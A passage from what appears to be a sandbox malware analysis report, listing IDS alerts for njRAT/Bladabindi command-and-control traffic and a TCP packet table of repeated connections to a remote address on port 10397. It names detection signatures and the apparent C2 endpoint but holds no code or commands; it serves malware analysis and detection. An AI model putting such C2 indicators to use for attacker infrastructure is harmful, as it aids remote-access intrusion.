2024-12-13T12:33:30.017959+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49887	147.185.221.224	10397	TCP
2024-12-13T12:33:30.272172+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49887	147.185.221.224	10397	TCP
2024-12-13T12:33:32.449667+0100	2033132	ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)	1	192.168.2.5	49941	147.185.221.224	10397	TCP
2024-12-13T12:33:32.449667+0100	2021176	ET MALWARE Bladabindi/njRAT CnC Command (ll)	1	192.168.2.5	49941	147.185.221.224	10397	TCP
2024-12-13T12:33:33.238258+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49941	147.185.221.224	10397	TCP
2024-12-13T12:33:41.737850+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49941	147.185.221.224	10397	TCP
2024-12-13T12:33:41.989544+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49941	147.185.221.224	10397	TCP
2024-12-13T12:33:44.583171+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49941	147.185.221.224	10397	TCP
2024-12-13T12:33:51.645412+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49941	147.185.221.224	10397	TCP
2024-12-13T12:33:56.481063+0100	2033132	ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)	1	192.168.2.5	49981	147.185.221.224	10397	TCP
2024-12-13T12:33:56.481063+0100	2021176	ET MALWARE Bladabindi/njRAT CnC Command (ll)	1	192.168.2.5	49981	147.185.221.224	10397	TCP
2024-12-13T12:33:56.841092+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49981	147.185.221.224	10397	TCP
2024-12-13T12:33:59.273170+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49981	147.185.221.224	10397	TCP
2024-12-13T12:34:01.452339+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49981	147.185.221.224	10397	TCP
2024-12-13T12:34:01.812833+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49981	147.185.221.224	10397	TCP
2024-12-13T12:34:01.983927+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49981	147.185.221.224	10397	TCP
2024-12-13T12:34:08.965686+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49981	147.185.221.224	10397	TCP
2024-12-13T12:34:20.522843+0100	2033132	ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)	1	192.168.2.5	49982	147.185.221.224	10397	TCP
2024-12-13T12:34:20.522843+0100	2021176	ET MALWARE Bladabindi/njRAT CnC Command (ll)	1	192.168.2.5	49982	147.185.221.224	10397	TCP
2024-12-13T12:34:22.304772+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49982	147.185.221.224	10397	TCP
2024-12-13T12:34:29.053118+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49982	147.185.221.224	10397	TCP
2024-12-13T12:34:29.173141+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49982	147.185.221.224	10397	TCP
2024-12-13T12:34:36.705475+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49982	147.185.221.224	10397	TCP
2024-12-13T12:34:39.761643+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49982	147.185.221.224	10397	TCP
2024-12-13T12:34:44.546142+0100	2033132	ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:34:44.546142+0100	2021176	ET MALWARE Bladabindi/njRAT CnC Command (ll)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:34:45.305350+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:34:48.003814+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:34:48.223165+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:34:48.366920+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:34:50.543528+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:34:51.281406+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:34:53.695251+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:34:53.815105+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:34:56.918087+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:35:01.999078+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:35:04.566292+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:35:04.813558+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49983	147.185.221.224	10397	TCP
2024-12-13T12:35:08.575600+0100	2033132	ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)	1	192.168.2.5	49984	147.185.221.224	10397	TCP
2024-12-13T12:35:08.575600+0100	2021176	ET MALWARE Bladabindi/njRAT CnC Command (ll)	1	192.168.2.5	49984	147.185.221.224	10397	TCP
2024-12-13T12:35:28.630154+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49984	147.185.221.224	10397	TCP
2024-12-13T12:35:32.630743+0100	2033132	ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)	1	192.168.2.5	49985	147.185.221.224	10397	TCP
2024-12-13T12:35:32.630743+0100	2021176	ET MALWARE Bladabindi/njRAT CnC Command (ll)	1	192.168.2.5	49985	147.185.221.224	10397	TCP
2024-12-13T12:35:33.608286+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49985	147.185.221.224	10397	TCP
2024-12-13T12:35:33.728289+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49985	147.185.221.224	10397	TCP
2024-12-13T12:35:34.081838+0100	2825564	ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act)	1	192.168.2.5	49985	147.185.221.224	10397	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 12:31:51.495613098 CET	49714	443	192.168.2.5	162.159.137.232
Dec 13, 2024 12:31:51.495678902 CET	443	49714	162.159.137.232	192.168.2.5
Dec 13, 2024 12:31:51.496021986 CET	49714	443	192.168.2.5	162.159.137.232
Dec 13, 2024 12:31:51.582590103 CET	49714	443	192.168.2.5	162.159.137.232
Dec 13, 2024 12:31:51.582631111 CET	443	49714	162.159.137.232	192.168.2.5
Dec 13, 2024 12:31:52.804069042 CET	443	49714	162.159.137.232	192.168.2.5
Dec 13, 2024 12:31:52.804160118 CET	49714	443	192.168.2.5	162.159.137.232
Dec 13, 2024 12:31:52.811541080 CET	49714	443	192.168.2.5	162.159.137.232
Dec 13, 2024 12:31:52.811563015 CET	443	49714	162.159.137.232	192.168.2.5
Dec 13, 2024 12:31:52.812011003 CET	443	49714	162.159.137.232	192.168.2.5
Dec 13, 2024 12:31:52.901228905 CET	49714	443	192.168.2.5	162.159.137.232
Dec 13, 2024 12:31:52.943356991 CET	443	49714	162.159.137.232	192.168.2.5
Dec 13, 2024 12:31:53.231583118 CET	443	49714	162.159.137.232	192.168.2.5
Dec 13, 2024 12:31:53.232995033 CET	49714	443	192.168.2.5	162.159.137.232
Dec 13, 2024 12:31:53.233022928 CET	443	49714	162.159.137.232	192.168.2.5
Dec 13, 2024 12:31:53.705888987 CET	443	49714	162.159.137.232	192.168.2.5
Dec 13, 2024 12:31:53.705981016 CET	443	49714	162.159.137.232	192.168.2.5
Dec 13, 2024 12:31:53.706152916 CET	49714	443	192.168.2.5	162.159.137.232
Dec 13, 2024 12:31:53.714976072 CET	49714	443	192.168.2.5	162.159.137.232
Dec 13, 2024 12:31:56.004364014 CET	49726	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:31:56.125536919 CET	10397	49726	147.185.221.224	192.168.2.5
Dec 13, 2024 12:31:56.127073050 CET	49726	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:31:56.140063047 CET	49726	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:31:56.260049105 CET	10397	49726	147.185.221.224	192.168.2.5
Dec 13, 2024 12:31:56.262752056 CET	49726	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:31:56.382713079 CET	10397	49726	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:02.247113943 CET	49726	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:02.367027044 CET	10397	49726	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:18.017132998 CET	10397	49726	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:18.017230988 CET	49726	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:20.028273106 CET	49726	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:20.029377937 CET	49777	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:20.147984028 CET	10397	49726	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:20.149202108 CET	10397	49777	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:20.149406910 CET	49777	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:20.152009964 CET	49777	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:20.271754026 CET	10397	49777	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:20.271819115 CET	49777	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:20.392311096 CET	10397	49777	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:26.450354099 CET	49777	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:26.572015047 CET	10397	49777	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:37.200493097 CET	49777	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:37.320274115 CET	10397	49777	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:40.763597965 CET	49777	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:40.884628057 CET	10397	49777	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:42.222918987 CET	10397	49777	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:42.224112034 CET	49777	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:44.231573105 CET	49777	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:44.232970953 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:44.351392031 CET	10397	49777	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:44.352683067 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:44.352850914 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:44.355246067 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:44.474935055 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:44.474993944 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:44.594701052 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:45.653487921 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:45.773592949 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:50.932265997 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:51.052123070 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:51.418884993 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:51.538754940 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:52.965912104 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:53.085669041 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:53.091103077 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:53.211076021 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:54.168889999 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:54.288635969 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:54.288700104 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:54.408524990 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:54.409903049 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:54.530163050 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:54.530430079 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:54.651061058 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:54.651141882 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:54.770987988 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:54.772764921 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:54.892775059 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:54.892879009 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:55.012741089 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:55.012821913 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:55.132927895 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:55.133229971 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:55.253144979 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:55.256067038 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:55.376302004 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:55.379951000 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:55.499871016 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:55.500643015 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:55.620479107 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:55.622133017 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:55.743082047 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:55.746117115 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:55.866033077 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:55.866105080 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:55.985928059 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:55.988154888 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:56.108592033 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:56.110068083 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:56.235595942 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:56.235672951 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:56.355453968 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:56.355510950 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:56.475239038 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:56.475298882 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:56.595237017 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:56.595299959 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:56.715235949 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:56.715347052 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:56.835091114 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:56.835171938 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:56.954941988 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:56.955019951 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:57.075016022 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:57.075097084 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:57.194897890 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:57.194972038 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:57.314923048 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:57.315002918 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:57.434887886 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:57.436194897 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:57.556034088 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:57.556169033 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:57.676079035 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:57.676141977 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:57.796293974 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:57.800093889 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:57.921506882 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:57.921576023 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:58.041724920 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:58.041814089 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:58.161665916 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:58.164108992 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:58.283936024 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:58.284008980 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:58.403795958 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:58.403878927 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:58.523751020 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:58.523839951 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:58.643954039 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:58.644018888 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:58.763856888 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:58.764210939 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:58.884299994 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:58.884392977 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:59.007142067 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:59.008202076 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:59.128140926 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:59.129146099 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:59.248969078 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:59.249037027 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:59.369220972 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:59.372075081 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:59.493129969 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:59.493206024 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:59.613596916 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:59.615067959 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:59.735557079 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:59.736115932 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:59.856185913 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:59.860223055 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:32:59.980103970 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:32:59.980355978 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:00.101658106 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:00.102368116 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:00.222743034 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:00.224097013 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:00.344218969 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:00.344330072 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:00.466959953 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:00.467036009 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:00.586857080 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:00.586946964 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:00.706862926 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:00.706933975 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:00.829097986 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:00.829201937 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:00.949193001 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:00.949317932 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:01.069192886 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:01.069269896 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:01.189205885 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:01.189302921 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:01.309303045 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:01.309379101 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:01.429289103 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:01.430453062 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:01.552428007 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:01.552510023 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:01.672549009 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:01.672631025 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:01.792737961 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:01.794737101 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:01.915380955 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:01.915540934 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:02.035459042 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:02.035553932 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:02.201414108 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:02.202188969 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:02.409427881 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:02.409528017 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:02.657440901 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:02.657535076 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:02.897397041 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:02.897716045 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:03.141477108 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:03.308156013 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:03.553316116 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:03.553559065 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:03.797337055 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:03.797429085 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:04.037359953 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:04.037434101 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:04.281393051 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:04.281476974 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:04.529335022 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:04.530225992 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:04.773384094 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:04.773519039 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:05.013645887 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:05.013765097 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:05.257416964 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:05.258716106 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:05.501359940 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:05.501590967 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:05.749383926 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:05.749479055 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:05.993474007 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:05.993572950 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:06.238583088 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:06.238862991 CET	49830	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:06.268176079 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:06.437838078 CET	10397	49830	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:08.280539036 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:08.400528908 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:08.400718927 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:08.403871059 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:08.525526047 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:08.525608063 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:08.645433903 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:08.645526886 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:08.766926050 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:08.767096043 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:08.887077093 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:08.887202024 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:09.006997108 CET	10397	49887	147.185.221.224	192.168.2.5
